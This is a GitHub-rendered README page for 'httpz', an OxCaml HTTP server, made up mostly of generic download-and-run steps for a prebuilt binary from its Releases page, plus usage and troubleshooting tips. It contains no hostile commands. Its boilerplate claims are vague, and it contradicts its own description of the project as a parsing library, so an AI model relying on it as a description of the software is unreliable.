Skip to content

index.md

Latest commit

 

History

History
97 lines (68 loc) · 3.96 KB

index.md

File metadata and controls

97 lines (68 loc) · 3.96 KB
layout default
title 🌐 httpz - Fast and Efficient HTTP Server
description 🌐 Parse and serialize HTTP/1.1 with zero heap allocations in OxCaml, ensuring high performance and efficient memory use for your applications.

🌐 httpz - Fast and Efficient HTTP Server

🚀 Getting Started

Welcome to httpz, a zero heap allocation HTTP server built using OxCaml. This experimental software is designed to help you run a high-performance web server with minimal fuss.

📥 Download httpz

Download httpz

📂 System Requirements

  • Operating System: Compatible with Windows, macOS, and most Linux distributions.
  • Memory: At least 512 MB of RAM.
  • Disk Space: Minimum of 50 MB available space for installation.
  • Processor: Any modern CPU should work.

🛠️ Features

  • Zero heap allocation for reduced latency.
  • Simple setup process.
  • High performance for handling multiple requests efficiently.
  • Lightweight server ideal for small to medium applications.

📦 Download & Install

To get started, visit the following link to download the latest version of httpz:

Download httpz

  1. Click the link to open the Releases page.
  2. Look for the most recent version.
  3. Download the file that suits your operating system.

⚙️ Running httpz

Once downloaded, follow these simple steps to run httpz:

  1. Locate the File: Find the downloaded file in your downloads folder or the location you saved it.

  2. Open a Terminal/Command Prompt:

    • On Windows, you can search for "cmd" in the Start Menu.
    • On macOS, open "Terminal" from Applications.
    • On Linux, you can use your preferred terminal application.

  3. Navigate to the Download Location: Use the cd command to navigate to the folder where you put the downloaded file. For example, if your file is in the Downloads folder, type:

    cd Downloads

  4. Run the Server: Execute the following command, replacing httpz with the actual file name if necessary:

    ./httpz

    For Windows, you might need to type:

    httpz.exe

  5. Access the Server: Open your preferred web browser and go to http://localhost:8080 to check if the server is running.

📖 Usage Instructions

  • Basic Command Line Options: You can customize your server using various command line options. To see all available options, run:

    ./httpz --help

    This will give you a list of all commands and configurations you can use.

  • Logging Requests: By default, httpz logs incoming HTTP requests. You can find the log files in the same directory as the server for review.

  • Stopping the Server: To stop the server, you can usually just close the terminal where it is running or press Ctrl + C.

🛡️ Troubleshooting

If you run into issues while running httpz, here are some common problems and solutions:

  • Server Not Starting: Ensure that you are in the correct directory and that you have permission to run the file.
  • Port Already in Use: If you see an error about port 8080 being in use, try stopping any other applications that may be using it or run the server on a different port using: 
    ./httpz --port [NEW_PORT]

💬 Community Support

For any questions, bugs, or feature requests, please feel free to open an issue on our GitHub Issues page. We encourage users to help each other and contribute to improving httpz.

🔗 Additional Resources

  • Documentation: Detailed user and developer guides will be provided on the GitHub wiki.
  • Tutorials: Coming soon! Be on the lookout for tutorials to help you make the most of httpz.

You can always return to the Releases page to check for updates or to download the latest version.

Thank you for using httpz!